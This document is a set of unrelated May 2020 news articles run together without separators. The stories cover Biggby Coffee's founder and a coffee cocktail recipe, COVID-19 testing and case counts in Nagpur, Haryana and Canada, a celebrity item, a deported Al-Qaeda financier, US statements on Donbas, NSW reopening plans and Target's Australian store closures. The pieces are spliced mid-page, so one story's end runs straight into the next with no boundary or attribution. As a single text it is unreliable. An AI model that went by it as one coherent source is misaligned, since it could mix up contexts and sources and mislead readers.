Biggby Coffee got its start in East Lansing in 1995. Fish grew up in Europe, and was deeply influenced by the coffee culture there. After graduating from the hospitality program at Michigan State University, and paying his way through school by working at a local restaurant, Fish knew he wanted to own his own restaurant. He partnered with his boss to grow the concept and worked hard over the next few years, opening new locations. However, in 1994, he walked into his first coffee shop in the states, and thought to himself Oh, we can do coffee.

When I came back to the states, (coffee) just wasnt that great, Fish said. I was working in a pancake house that was serving bad coffee, too. A light bulb went off, and I thought I want to get out of the restaurant restaurant business and get into the coffee business. 

Fish went on a four-month research trip to Seattle, gathering all the information he could from that java haven. From there, he wrote a business plan - and was promptly turned down by every bank he turned to. The idea of a coffee shop was so new at the time that no one wanted to help finance him. He eventually figured it out on his own, and opened his first store in 1995.

I was in a new industry, with a new name. There were no Starbucks or anything like that around, Fish said. I opened that cafe to a resounding thud, and almost went out of business.

He blew through his savings, four credit cards, and even sold his car to stay afloat. It took a whole year before Biggby started to turn a corner.

To put it in perspective, In 1995, we werent competing against specialty coffee, we were competing against Coca Cola, Fish explained. Thats why Fish took what he knew about coffee, and European coffee culture, and put a distinctly American spin on it. On Biggbys first menus - a style that they still follow today - is a lean toward sweet and creamy.

We werent the fake Italian version, of a coffee house, Fish said. We had to make it, from a palate perspective, something that people could transition to." Coffee, with an American twist, is what Biggby focused on and with great success.

Now, Biggby is a franchise with 247 stores open, and 55 more in development.

Now the consumer is more interested in fair trade coffee, in organic, in the provenance of their coffee, Fish said when asked about changes in the industry since they opened. Consumers are more health-aware, even if they dont always act on it.

Creating these coffee cocktails has been a fun journey for Fish and for his wife, who gets to sip the fruits of his labor. Im not trying to stimulate coffee sales, Im trying to stimulate creativity, he said.

Fish joined MLive virtually to create a special coffee cocktail. You can watch the video below. Weve also got the recipe, so you can try making it at home as well.

Using coffee in new ways, and with new flavors, is also a change that is happening across the industry. From flavors like turmeric and blackberry sage, coffee at Biggby reflects these trends. They also inspire new ideas from Fish for creative cocktail creations.

What makes a really great coffee cocktail? According to Fish, its about hitting on some notes and naming the drink that you can identify before you even taste it. Then all I have to do is deliver on your expectations.

Identify your favorite cocktail, and reinvent it, Fish said. Maybe it needs to have coffee in it, maybe it doesnt. But Id like to have people reinvent whats familiar to them.

The ingredient line up to make Biggby's Tiramisu Latte.

Bob Fishs Tiramisu Latte

4 oz Biggby coffee, brewed, and chilled

2 oz Jagermeister Cold Brew liquor

4 oz whole milk

1 oz brandy

1 oz Godiva chocolate liquor

coffee ice cubes

softly whipped cream, sweetened if you like

cocoa powder

Make your coffee, and since its going to be used in a cold drink, make it stronger than normal. Fish explained how you perceive flavors differently when things are cold, so to get the full flavor from the coffee in the drink, you want a strong brew. However you brew it, whether in a drip machine, pour over, or french press, chill it fast to retain the best coffee flavor. To get tips on how to brew your best cup of coffee at home, check out Biggbys Bean Basics here.

Use some of your leftover coffee to make coffee ice cubes, your drink and your taste buds will thank you for not watering down your drink.

Mix together your brewed and chilled Biggby coffee, Jager, milk, brandy, and Godiva liquor. Whole milk is key here; it has enough body to stand up to these strong flavors. If you have have a frother, you can whip the drink a bit to make it lighter at this point, but its not necessary. Pour over your coffee ice cubes.

Top the drink with the lightly whipped cream. The cream should be thick, fluffy, but still pourable. Dust the cocoa powder over the top. Sip and enjoy.

To find a Biggby near you, check out their locations here.
Senior government officials in



Nagpur on Friday informed the Bombay High Court that COVID-19 tests on police and medical staff deployed in two containment zones in the city shall be conducted only if the number of coronavirus positive cases in each of these areas is above 15.

The submission was made by the Nagpur district collector and the city's police commissioner. The COVID-19 containment zones they were referring to are Satranjipura and Mominpura.

The Nagpur bench of the HC had earlier this week directed the two senior officials to consider conducting COVID-19 tests on all medical and police personnel discharging duty in these two areas as a pilot project.

The Nagpur district collector and police commissioner on Friday submitted their report to a division bench of Justices Ravi Deshpande and Amit Borkar in which they said a joint meeting was convened along with senior medical officials to consider the suggestion made by the court.

COVID-19 tests of medical and police personnel working or discharging duty in the two containment zones of Mominpura and Satranjipura are proposed to be conducted if there are more than 15 positive cases (in each of them), the report said.

As per the report, a total of 798 police personnel have been deployed in Satranjipura and Mominpura areas of Nagpur. Besides, 296 medical doctors, nurses and other healthcare workers are rendering their services to persons from these areas.

Out of the 295 medical staff workers, 42 have been already tested for COVID-19 and their results turned out to be negative for the infection, the report said.

The report further said that a new policy issued on May 18 by the Indian Council of Medical Research (ICMR) says that only symptomatic healthcare workers and frontline workers involved in containment zones and mitigation of COVID-19 shall be tested.

Therefore, the question of whether asymptomatic frontline workers are to be tested or not is now a matter of concern, the report said.

The court, after perusing the report, directed government pleader S Y Deopujari to put it in the form of an affidavit and posted the matter for further hearing on May 26.

The court was hearing a petition filed by an NGO, Citizen Forum For Equality, seeking that tests to be conducted on frontline workers engaged in the war against COVID-19 pandemic.

The frontline warriors include include doctors, nurses, para-medical staff, pharmacists and police personnel.

The petitioners lawyer, Tushar Mandlekar, had argued that these professionals should be considered as "high-risk" contacts as they are discharging duties in containment zones, hospitals and quarantine institutions, and hence they should be tested for the infection.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Chandigarh: Struggling with the maximum coronavirus cases in Haryana, Gurgaon on Thursday reported its first COVID-19 death with total infectious cases in the state rising to 1,031.

A 38-year-old man from Gurgaon, who had been suffering from cough and fever for the past five days, passed away on Wednesday.

However, his death was included in the state health department's evening bulletin as COVID-19 death on Thursday.

With this, Haryana now has reported 15 COVID deaths till date.

While a total of 12 fresh cases were reported until Thursday morning, during the day more cases were detected, raising the daily coronavirus infection count in the state to 38, as per the state's daily COVID-19 bulletin.

Out of the 38 cases, Gurgaon reported 13, Faridabad 11, Sonipat three, Panipat four, Kurukshetra two and Panchkula, Jind, Karnal, Rohtak and Mahendragarh one case each.

More than 60 per cent of the 1,031 cases have been reported from four worst-hit districts of the state  Gurgaon, Faridabad, Sonipat and Jhajjar.

While Gurgaon has 239 cases, Faridabad 181, Sonipat 150 and Jhajjar has reported 91 corona infections, making it total of 661 cases in these four districts which fall in the national capital region.

As per the bulletin, of the 15 deaths in the state so far, Faridabad has reported the maximum number six deaths.

There are a total of 335 active cases in the state while the number of patients who have recovered from the disease stand at 681.

The state has a recovery rate of 66.05 per cent, fatality rate at 1.45 per cent while tests per million being conducted are 3,477.

Haryana Health Minister Anil Vij meanwhile on Thursday said that he was concerned over the mortalities which have occurred in the past week or so.

He said he has asked a nodal officer for COVID-19 to seek full information from COVID hospitals daily about the critical cases.

"There will be death audit in the state now and this will be a continuous process. We will minutely go into the reasons behind the COVID-19 related deaths and try to find out if patients report late, what was the treatment administered to them and things like that. For every death, there will be death audit, which means going into their reasons and cause," he told reporters.

About some NCR districts continuing to report more cases daily, Vij said it has been found that cases were more in Gurgaon and Faridabad, which lie very close to the border with Delhi.

"This is the reason why we have put in place strict regulations on our borders with Delhi. We have nothing against the people of Delhi, but we have to protect our own people too," he said.

Replying to a question, Vij said "if people are not cautious or do not follow the guidelines, the results can be disastrous."

"That is why I keep repeatedly stressing that a law should be there which makes it a punishable offence if people don't wear masks and follow social distancing norms," he said.
She vowed to overhaul her fitness regime earlier this year and even set up an Instagram account to document her journey.

And Lauren Goodger shared a throwback snap of herself in a tiny snakeskin bikini on Instagram on Friday as she pined for her figure.

The former TOWIE star, 33, wrote atop of the selfie: 'Oh to be this skinny again! And brown'.

'Oh to be skinny again!' Lauren Goodger shared a throwback snap of herself in a tiny snakeskin bikini on Instagram on Friday as she pined for her slimmer figure

Lauren showcased plenty of cleavage in the bikini top, which she wore with the straps off, while the thong bottoms highlighted her hourglass curves.

The television personality wore her brunette locks in a messy bun and went make-up free for the sizzling mirror snap.

With gyms across the United Kingdom closed for the foreseeable future, the reality star has been doing her best to stay in shape during lockdown going on plenty of hikes and doing outdoor workouts.

Fitness: The former TOWIE star, 33, vowed to overhaul her fitness regime earlier this year and even set up an Instagram account to document her journey (left in January, right throwback)

Lauren has also shared snaps of her healthy shakes and dinners which consist of grilled chicken or salmon and vegetables.

The reality star flouted social distancing rules by hosting a gathering with a group of friends at her Essex home over the weekend amid the ongoing coronavirus pandemic.

A representative for the former TOWIE star confirmed to MailOnline Lauren was unaware that she could not have friends at her house and 'didn't understand the guidelines'.

Shocker: The reality star flouted social distancing rules by hosting a gathering with a group of friends at her Essex home over the weekend

Lauren claimed she broke lockdown rules partly due to 'seeing other people doing the same on Instagram', but has since adequately educated herself about what is and isn't allowed.

The images and videos were shared on Lauren's friend John Haynes' Instagram page over the weekend, who the TOWIE star branded her 'boyfriend'.

Lauren's spokesperson told MailOnline: 'Lauren was unaware she wasn't allowed friends in her house. She was informed this was allowed and that lockdown rules had been lifted slightly...

'She had also seen people having similar gatherings on other people's Instagram stories.

'Lauren has been told to look at the government website and now understands the guidelines'.

The representative added: 'Lauren isn't in a relationship. Her saying that John was her boyfriend was a joke.'
Indian link to deported Al-Qaeda man: Agencies to probe further

India

oi-Vicky Nanjappa

New Delhi, May 22: An Al-Qaeda operative from Hyderabad, who was convicted in the United States has been deported to India. He was convicted for financing activities of slain Al-Qaeda preacher, Anwar al-Awlaki.

A resident of Toledo in Ohio, US, the 41-year-old Mohammad Ibrahim Zubair was deported to India on a special flight that landed in Amritsar on May 19. He was born in Sharjah, but is an Indian national. His parents originally hail from Hyderabad.

Sent to 14 days in quarantine, owing to the coronavirus situation, he was among the 167 deportees who landed in Amritsar.

Top Al-Qaeda leader in the Arab Peninsula killed: Donald Trump

The Central Agencies in India have questioned about his links with the Al-Qaeda. However. the agencies have so far not found any link in India. We will question him further to find out if he is aware of the activities of the outfit in India. For now, no case has been booked, but we will decide on the future course, following more questioning, a senior official told OneIndia.

He has served his sentence in the United States. A decision on whether or not to let him go would only be taken after further investigation. We suspect that he may be aware of the networks of the outfit or the larger plans the Al-Qaeda has in India, the officer cited above said.

Zubair was arrested in 2011 on the charge that he was providing material support to the Al-Qaeda leader Awlaki. He had pleaded guilty to his role in the conspiracy. His brother Yahya Mohammad on the other hand was sentenced to 27 years in jail for hiring a hitman to kill the judge presiding over the case.

Zubair graduated from the Osmania University in 2001, following which he joined his brother for higher studies in the United States. He did his engineering at the University of Illinois Urbana-Champaign. He then moved to Toledo in Ohio in 2006.

During the questioning, the police found that Zubair was radicalised after watching the videos of Awlaki. While the Punjab police have no case on him, it is the Central Agencies which want to probe him further.

RBI slashes repo rates by 40 basis points to 4% to boost growth, other measure

His brother had also tried to meet with Awlaki in Yemen, but had failed to do so. They were radicalised by the speeches of Awlaki, who had called for Jihad against the United States. Zubair was found guilty by a US court, which sentenced him to 60 months in jail.

He, however, came out in 30 months as he had already served the remainder of the term during detention. Following the completion of his sentence, his deportation was ordered.

The Central Agencies would also contact the Hyderabad police to find out if they would want to question. For now, there have been no links found in India and hence no case has been registered, officials say.
Despite the fact that Moscow denies its role in the conflict in Donbas, the presence of Russia-backed forces there has been confirmed by many sources, and the Russian Federation continues to fuel this conflict.

U.S. Ambassador to the OSCE James S. Gilmore said this during an online meeting of the OSCE Permanent Council in Vienna on Thursday, May 21, an Ukrinform correspondent reports.

"Regardless of how often Moscow denies its role, the presence of Russia-trained forces utilizing Russia-provided equipment in the Donbas has been confirmed on multiple occasions by media and non-governmental organizations. Russia continues to feed this conflict with troops, ammunition, weapons, training, and leadership from across its border with Ukraine," he said.

The U.S. ambassador emphasized that Russia is the instigator and perpetuator of this conflict and must exert control over the forces it arms, trains, leads, finances, and fights alongside in eastern Ukraine.

He noted that the Russia-fomented conflict in eastern Ukraine threatens the lives of the local population, and the number of ceasefire violations and injuries to civilians continues to grow.

In addition, Ambassador Gilmore condemned the fact that Russia-led forces continue to hinder the movement of the Special Monitoring Missions personnel, impeding the Mission from fulfilling its critical mandate.

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Gyms, yoga studios and even beauty salons could reopen within the 'next month or so' in New South Wales as the government winds back lockdown measures.

The state government announced on Friday that pubs and restaurants will reopen to up to 50 patrons - with some restrictions - from June 1.

But Deputy Premier John Barilaro told Radio 2GB that more is on the way, hinting that Australia's biggest state is on track to reopen quicker than anyone anticipated.

It will have been months between gym sessions for many fit Australians - who have been forced to work out at home or in their local parks

Yoga studios are in discussions with the government about how swiftly they can reopen, with deputy premier John Barilaro signalling they could get the nod in the next month or so

The state's deputy premier included beauticians on his list of industries which may be able to reopen sooner than first thought

Senior ministers are working on 'industry packages' for reopening gyms, yoga studios, beauticians and other sectors of the economy.

'You name it, we're working on all of those,' Mr Barilaro told host Ben Fordham - and the plans may be announced sooner rather than later.

Mr Barilaro said: 'We're not talking September, no way in the world.

'We're looking at all these restrictions coming off in the next month or so.'

We're looking at all these restrictions coming off in the next month or so NSW Deputy Premier John Barilaro

Asked if he could directly confirm that gyms would be open in a month, Mr Barilaro said: 'I'm confident, if the industry plan is right, we'll be able to make announcements around that that.'

Gyms have a COVID-19 problem in common surfaces used for workouts, he said.

But the Nationals MP said the government will work with industries on hygiene measures and social distancing protocols so they can safely reopen.

'They'll put forward their plan, their measures and protocols on how they can actually do so - open any industry up in a COVID-safe way.'

Mr Barilaro compared how sectors of the economy will reopen to how the National Rugby League has approached COVID-19.

The NRL pitched a plan to the government which then had it assessed by health experts and will allow the competition to restart in the coming weeks.

The deputy premier told host Ben Fordham he was confident other industries were following a similar course.

'I can't pre-empt it mate, we're just working one day at a time,' he said.

HOW DEPUTY PREMIER HINTED GYMS WILL RE-OPEN 'IN NEXT MONTH OR SO' Restrictions hint: NSW Deputy Premier John Barilaro suggested gyms and other businesses could open in the 'next month or so' - but it depends on industry plans A brief transcript of what the New South Wales Deputy Premier John Barilaro told Radio 2GB on Friday afternoon: Ben Fordham: You know in politics John that when you've got good news for some there'll always be others saying, good for them, not for me. You'll be familiar with Mark Carroll the rugby league legend. 'Spud' just called in before and said what about gyms, when are gyms going to get a break? John Barilaro: It's a good point. What we're doing is myself, the Treasurer and (minsiters) Victor Dominello along with Brad Hazzard head up a task force the premier has put together. We're working with industry by industry. We're looking at industry packages just like we've done with pubs and clubs today. Fordham: Can you give them a hint though? It's all well and good to find out who's in the meeting room. He just wants to know, is it September, is it November, is it next year? Barilaro: We're working on that plan as we speak now, no different for yoga studios, a whole range of other areas, beauticians, you name it, we're still working on all of those. But we're not talking September, now way in the world. We're looking at all of these restrictions coming off in the next month or so. Fordham: In the next month or so gyms will be open? Barilaro: I'm confident, if the industry plan is right, we'll be able to make announcements around that. But we need to work with the industry. Advertisement

Cheers! Pubs and restaurants in New South Wales can host 50 patrons at once from June 1, Premier Gladys Berejiklian announced today

Customers will have to be seated at tables and must have four square meters per person, meaning smaller bars and cafes will not be able to fit 50 people inside

The Premier said she made the move to get Australians back into work after 210,000 lost their jobs in the state in April

Deputy Premier John Barilaro said the move was a big boost for regional areas

Pubs, restaurants to reopen to 50 people from June 1

Earlier on Friday, Gladys Berejiklian announced the lifting of restrictions on pubs and restaurants, allowing 50 patrons per restaurant and pub.

But there will still be coronavirus restrictions at pubs and restaurants.

Customers will have to be seated at tables and each must be allowed four square meters per person.

That means smaller bars and cafes will not be permitted to fit 50 people inside.

There will also be no buffets or shared cutlery and bookings will be limited to 10 people.

Diners will have to register their name and phone number when they enter the premises so they can be contacted in the event of an outbreak.

The Premier said she made the move to get Australians back into work after 210,000 lost their jobs in the state in April.

'We are making sure people aren't long-term unemployed, and that we can bounce back from the devastating economic shock,' she said.

NSW Treasurer Dominic Perrottet said the Government was moving to swiftly and safely get businesses back in business and people back to work.

'There are about 280,000 people employed in this sector of the economy and allowing venues to safely cater for more customers will provide another boost to business and jobs,' Mr Perrottet said.

'NSW is opening back up for business, and as we ease restrictions everybody needs to follow the health and safety guidelines, to ensure we make it a success and can continue.'

There will be no buffets or shared cutlery and bookings will be limited to 10 people

Minister for Customer Service Victor Dominello, who is responsible for liquor and gaming regulation, said the NSW Government has met with both AHA and ClubsNSW to deliver this plan.

'This has been really considered and thought out to make sure we have the best regulatory settings in place,' Mr Dominello said.

Victoria has announced that 20 people will be allowed in a restaurant or cafe at once from June 1.

Queensland currently caps numbers at 10 and will allow 20 from 12 June.

South Australia is allowing a venues to host 10 diners outdoors, 10 indoors and serve alcohol from June 5.

Western Australia already allows 20 patrons to be inside a pub at once.

The Northern Territory opened pubs on 15 May with no numbers cap.
I foresee that the international status of Hong Kong as a city  an international city  will be gone very soon.

DENNIS KWOK, an opposition lawmaker, reacting to Chinas push to establish new laws that would crack down on antigovernment protests and other dissent in Hong Kong.
Canada must ramp up its efforts to test residents for COVID-19 and trace anyone who may have come into contact with the virus, Prime Minister Justin Trudeau said Friday as he urged provinces to seek federal help with the process if needed.

Hey there, time traveller!

This article was published 22/5/2020 (608 days ago), so information in it may no longer be current.

Prime Minister Justin Trudeau holds a press conference at Rideau Cottage amid the COVID-19 pandemic in Ottawa on Thursday, May 21, 2020. THE CANADIAN PRESS/Sean Kilpatrick

Canada must ramp up its efforts to test residents for COVID-19 and trace anyone who may have come into contact with the virus, Prime Minister Justin Trudeau said Friday as he urged provinces to seek federal help with the process if needed.

The call for action came as the number of new cases continued to increase in Ontario  one of the provinces hardest-hit by the virus. Economic recovery efforts, meanwhile, forged ahead in Quebec and New Brunswick while Alberta announced regional public health restrictions would be easing imminently.

Trudeau offered few specifics when announcing measures to support national testing and contact-tracing efforts, but said such measures would be essential to control the pandemic now and in the future.

"Taking strong, collaborative action to expand testing and contact tracing is important for both Canadians and businesses to have confidence that we're on the right foot," Trudeau said at his daily news conference. "They need to know that we have a co-ordinated approach to gradually reopen that is rooted in evidence, science and the ability to rapidly detect and control any future outbreaks."

Trudeau said the government hopes to recommend a smartphone app next month that could play a part in the contact tracing effort, noting similar efforts in countries such as Singapore and South Korea have been successful to date.

Prime Minister Justin Trudeau returns to Rideau Cottage following a daily news conference in Ottawa, Friday May 22, 2020. THE CANADIAN PRESS/Adrian Wyld

Ottawa is helping procure swabs and other key testing materials, he said, and is also able to provide thousands of staff to help make contact-tracing calls.

Trudeau noted some of those resources are already being deployed in Ontario, where testing has re-emerged as an issue amid stubbornly static COVID-19 case data.

Ministry of Health data show the province currently has capacity to conduct 21,000 tests a day  about twice the number conducted in recent days. Ontario's growth rate of new cases, meanwhile, has hovered between 1.5 and 1.9 per cent for 12 of the last 13 days, including Friday when the number of cases climbed 1.8 per cent over the previous day.

The national picture is similar, with provinces and territories collectively testing less than half of the roughly 60,000 people the country's chief public health officer has said should be the daily target.

Ontario Premier Doug Ford said Friday that the province will concentrate on testing front-line workers over the weekend, with plans to roll out an advertising blitz in the coming weeks urging anyone showing COVID-19 symptoms to get tested.

"I drive by one of the assessment centres into work every morning and there's just no lineup," he said. "Please, go out and get tested. It's absolutely critical."

New Brunswick, meanwhile, moved into the next phase of its economic revival on Friday by allowing hair stylists, tattoo parlours and other "close-contact" businesses to reopen their doors.

Premier Blaine Higgs also said residents could begin expanding their immediate social "bubbles."

"You can now spend time with close friends and family members who you would normally see on a regular basis," Higgs said. "We are asking you to keep your circle of friends and family as small and reasonable as possible, especially if you have a vulnerable person in your family, or a child who attends daycare."

Ready, Pet, Go! Leesa Dahl looks at everything to do with our furry, fuzzy, feathered, fishy (and more!) pet friends. Arrives in your inbox each Monday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement.

Quebecers were also given permission to expand their immediate circles on Friday, with the province's top public health officials saying residents could start convening in groups of no more than 10 people from a maximum of three households.

Quebec, which has the most COVID-19 cases and deaths of any province, also plans to allow museums, libraries and drive-in movie theatres to open in a limited capacity starting next week. Deputy Premier Genevieve Gilbault also emphasized the need for ongoing testing as the province continues to fall short of its daily goal of 14,000.

In Alberta, meanwhile, Premier Jason Kenney said the hard-hit cities of Calgary and Brooks would soon be joining the rest of the province in reopening large swaths of their economies.

But more grim economic news continued to trickle in Friday, with national data showing retail sales plunged 10 per cent in March, when widespread physical distancing measures first took effect. Statistics Canada said preliminary data indicate the decline will be even steeper in April.

Canada has reported more than 82,000 cases of COVID-19, including just over 6,200 deaths.

This report by The Canadian Press was first published May 22, 2020.
Target has revealed which stores will permanently close and which will be turned into Kmarts after the retail chain suffered a $67million slump in sales.

Parent company Wesfarmers announced on Friday that 75 Target stores would close and 92 others would be transformed into Kmarts.

Ten to 25 large Target stores will be closed, alongside 50 smaller Target Country stores.

An additional 25 regional Target Country stores will be converted into small Kmarts, while between ten and 40 large stores will become big Kmarts.

This means anywhere between 122 and 167 Target locations will either be converted or shut - which amounts to around half of Target's network of 284 stores.

Target (pictured in Sydney) has announced the closure of up to 75 of its stores, with others being converted into Kmarts

The coronavirus outbreak meant many shops in Australia had to close for months, with less customers in the streets (pictured, shoppers in face masks in Sydney on May 17)

In an announcement to investors on Friday morning, owners Wesfarmers said the restructure would reduce Target's 'unsustainable' cost base and allow it focus on the more-profitable Kmart.

Target staff will be offered jobs at Kmart or other Wesfarmers companies, including Bunnings and Officeworks.

The changes will be implemented over the next 12 months, with most of the work to rebrand stores being carried out in 2021.

The closures and conversions are likely to cost the company between $120million and $170million over the next year.

A further $140million will be used for one-off store conversion and stock clearance costs.

Stores throughout all of Australia will close or be converted with most to be finalised by early 2021.

So far Target has confirmed 53 stores that will be closing and 53 others that will be converted into Kmarts - with the rest expected to be announced soon.

CONFIRMED TARGET STORES CLOSING NSW: Armidale, early-mid 2021 Campbelltown, July 2020 Cooma, early-mid 2021 Cootamundra, early-mid 2021 Corowa, early-mid 2021 Deniliquin, early-mid 2021 Forbes, early-mid 2021 Leeton, early 2021 Merimbula, early-mid 2021 Morisset, early-mid 2021 Narrabri, early-mid 2021 Nowra, early-mid 2021 Salamander Bay, early-mid 2021 Scone, early-mid 2021 Wagga Wagga, early-mid 2021 Winmalee, early-mid 2021 VIC: Bacchus Marsh, early-mid 2021 Bairnsdale, early-mid 2021 Benalla, mid 2021 Colac, early-mid 2021 Kerang, early-mid 2021 Langwarrin, early-mid 2021 Maryborough, early-mid 2021 Myrtleford, early-mid 2021 Traralgon, early-mid 2021 Warragul, early-mid 2021 ACT: Weston Creek, early-mid 2021 QLD: Atherton, early 2021 Beaudesert, early-mid 2021 Biloela, early 2021 Casino Retail Centre, early-mid 2021 Clifton Beach, early-mid 2021 Emerald, early-mid 2021 Goonellabah, early 2021 Kippa Ring, early 2021 Longreach, early-mid 2021 Moranbah, early-mid 2021 Murgon, early-mid 2021 Murwillumbah, early 2021 WA: Busselton, early 2021 Karratha, early-mid 2021 Kununurra, early-mid 2021 Manjimup, early-mid 2021 Margaret River, early-mid 2021 Meadow Springs, August 2020 Merredin, early-mid 2021 Narrogin, early-mid 2021 SA: Clare, early-mid 2021 Millicent, early 2021 Naracoorte, early-mid 2021 Pasadena, June 2020 Port Lincoln, early 2021 TAS: Devenport, early-mid 2021 Advertisement

Wesfarmers chief Rob Scott said the company hopes to focus on its online sales.

'The actions announced reflect our continued focus on investing in Kmart, a business with a compelling customer offer and strong competitive advantages,' he said.

'While also improving the viability of Target by addressing some of its structural challenges by simplifying the business model.

'While accounting standards require us to recognise an impairment of assets within Target to implement the restructuring, these actions will allow us to enhance the overall value of Kmart Group and further strengthen Kmart.'

Target designer Dannii Minogue (pictured) is seen at the brand's fashion show during Melbourne Fashion Week in 2015, as the company tried to inject some glamour

TARGET STORES CONVERTED TO KMART STORES NSW: Bega, early-mid 2021 Bowral, early 2021 Gunnedah, early 2021 Katoomba, early 2021 Moree, early 2021 Mudgee, early 2021 Picton, early 2021 Tumut, early 2021 Ulladulla, early 2021 Windsor Town S/C, early 2021 Yass, early 2021 QLD: Ayr, early-mid 2021 Beerwah, early-mid 2021 Bowen, early 2021 Charters Towers, early 2021 Chinchilla, early 2021 Dalby, early 2021 Gatton, early 2021 Goondiwindi, early 2021 Gympie, early 2021 Ingham, early 2021 Mareeba, early 2021 Noosa Junction, early 2021 Ocean Shores Village Ctr, early 2021 Port Douglas, early 2021 Roma, early 2021 Sarina, early 2021 Stanthorpe, early 2021 Warwick, early 2021 Yamba, early 2021 Yeppoon, early 2021 VIC: Ararat, early-mid 2021 Castlemaine, September 2020 Cobram, July 2020 Echuca, July 2020 Hamilton, early 2021 Kyabram, September 2020 Lakes Entrance, early 2021 Leongatha, early 2021 Mansfield, early 2021 Portland, early 2021 Seymour, early 2021 Woodend, September 2020 Yarrawonga, early 2021 SA: Berri, early 2021 Murray Bridge, early 2021 Port Augusta, early 2021 Victor Harbour, early 2021 WA: Esperance, early 2021 Geraldton, early-mid 2021 Northam, early 2021 Pinjarra, early 2021 NT: Katherine, early 2021 Advertisement

But the company warned that even more stores could be shut entirely if landlords don't help with the costs of converting stores into Kmarts.

Mr Scott told the Australian Financial Review on Friday that more Kmart stores could help increase overall foot traffic into shopping malls and centre.

Announcing the conversion of some stores, Wesfarmers said it was 'subject to landlord support'.

'To convert stores costs money and there are some stores that are not commercially viable in the current structure,' Mr Scott commented.

'In some cases it's better to close stores than to keep pursuing unviable stores.

'The opportunity is to work out how we jointly share the costs and share the benefits.'

Many stores will be converted into Kmarts (pictured in Sydney) with the store still offering popular items

HISTORY OF TARGET Target is Australia's largest department store chain with 284 stores across the country. Established in 1926, the retailer was originally known as Lindsays until 1968, when Myer Emporium bought the chain of 16 stores across Victoria, which were renamed Lindsay's Target. The retailer was renamed Target Australia in 1973. Advertisement

On April 28, Wesfarmers has fast-tracked a review into the commercial viability of the struggling retailer after a worse than expected slump in sales.

The department store chain's revenue and profits have taken a 'significant' hit during the coronavirus lockdowns, which have left shopping centres deserted as retailers temporarily close their doors.

Announcing the fast-paced review, Mr Scott highlighted Target's 'unsatisfactory' financial performance in a trading briefing to investors, and said store closures were 'inevitable'.

While sister department store chain Kmart remains profitable in deteriorating trading conditions, Target's earnings have slumped significantly.

Wesfarmers says a decline in in-store sales will continue declining sales is expected to persist (pictured, shoppers in Sydney's deserted Pitt Street Mall on April 27)

In February, Kmart swung to a 5.5 per cent first-half comparable sales growth from a 0.6 per cent decline a year ago, with revenue at the discount department store up $241million or 7.6 per cent to $4.99billion.

Target's comparable sales went the other way, though, falling 2.3 per cent compared with 0.5 per cent growth a year ago as it recorded a worse-than-expected $67 million sales slump.

Target is Australia's largest department store chain with 284 stores across the country.

Established in 1926, the retailer was originally known as Lindsays until 1968, when Myer Emporium bought the chain of 16 stores across Victoria, which were renamed Lindsay's Target.

The retailer was renamed Target Australia in 1973.

Wesfarmers fast-tracked a review into the 'unsatisfactory' performance of Target (pictured), which has resulted in the closure of some stores

A couple in face masks are seen walking past sales signs in an empty Pitt Street Mall in Sydney (pictured) on March 28, shortly after restrictions were brought in

Announcing the fast-tracked review last month, Mr Scott admitted the already embattled Target had been badly hit by the coronavirus pandemic.

Shopping centres across the country emptied out almost overnight after people were encouraged to stay home and only go out for essential reasons to stop the virus spreading.

'In recent weeks, in-store sales momentum has moderated in Kmart and has declined in Target, reflecting the broader decline in customer footfall shopping centres and ongoing weakness in discretionary categories, particularly apparel,' Mr Scott told investors.

But he insisted online sales were still strong.

'We are getting very strong growth in online in Target, its a great brand, with loyal customers, and a very engaged and loyal team,' he said.

'So there are assets of value we can work with but we need to get the property structure and network right to ensure the cost base is right for the future.'

Target (pictured in Melbourne) is Australia's largest department store chain with 284 stores across the country

A quiet Queen Victoria Building, usually a busy Sydney shopping area, is seen quiet on March 27 (pictured)

Market strategist Evan Lucas, from IG, explained Target was 'consistently under-performing.

He said part of this was down to a change in the market, with the introduction of other high street clothing brands such as Topshop and Zara.

'Target has consistently underperformed as its been wedged in that space now dominated by the interlopers,' he told the Herald Sun.

'They have much bigger turnover in apparel, which used to be Targets strength, and can offer higher discounts.

'Target now finds it has an inability to compete on price, these raiders can use cheaper labour from overseas.'

It has been a difficult time for the retail sector, with many shops closed for months due to the coronavirus outbreak (pictured, shoppers in face masks in Sydney on April 27)

It comes off the back of a series of major closures changing the face of the Australian high street.

Household names like Harris Scarfe, Bardot, Roger David, and Napoleon Perdis dropped like flies in the past year with dozens of stores closing resulting in heavy job losses.

Experts claim that the could be the tip of the iceberg as consumers continue to turn more to online shopping over bricks and mortar stores.

Australian retail growth is at its worst level since the early 1990s recession and international giants like Amazon and Aldi threaten to further shake things up.

Australia is headed for a retail apocalypse that could even kill off Myer, which recently closed its store in Hornsby, Sydney, after 40 years of serving customers

Experts have warned Bardot (pictured) and Harris Scarfe are just the start of the downfall of big-name Aussie brands

Kmart (pictured in Chatswood on May 6) has stayed open throughout the pandemic, attracting queues of customers

Target's boss Mr Scott admitted the department store faced 'a number of structural challenges', blaming the size of the shops and high rental costs.

'A lot of the structural challenges facing department stores relate back to the number of stores, the size of stores and the nature of occupancy costs in a world where online is more relevant,' Mr Scott told The Australian Financial Review.

'Target is growing online sales quite strongly  it's timely to review the store network.

'That could mean store closures, it could mean conversion of some Target stores to Kmart, and it could mean reviewing the size of the stores we have in the network.'

On Friday, he admitted in a statement to investors that Target was not well positioned to tackle the new retail landscape.

'For some time now, the retail sector has seen significant structural change and disruption, and we expect this trend to continue,' he wrote.

People are sen walking around an empty Melbourne on March 19 (pictured) as city centres resembled ghost towns at the height of the pandemic

COVID-19 labour market at a glance Unemployment: it surged from 5.2 per cent in March to 6.2 per cent in April - the highest since September 2015 Number unemployed climbed by 104,500 to 823,300 In April, 489,800 people left the labour force, which meant 594,300 either lost their job or gave up looking for one Underemployment soared by 4.9 percentage points to record 13.7 per cent Tally of underemployed Australians surged by 603,300 to 1.8million Participation rate plunged by an unprecedented 2.4 percentage points to 63.5 per cent Source: Australian Bureau of Statistics Advertisement

'With the exception of Target, Wesfarmers' retail businesses are well-positioned to respond to the changes in consumer behaviour and competition associated with this disruption.'

As well as crippling a number of beloved high street stalwarts, the coronavirus crisis has left thousands of Australians unemployed.

The jobless rate soared from 5.2 per cent in March, before the shutdowns of non-essential businesses, to 6.2 per cent in April.

This is the highest rate since September 2015 as a record 600,000 Australians either lost their job or gave up looking for one.

A similar number had their hours cut, leaving Australia with a record underemployment rate.

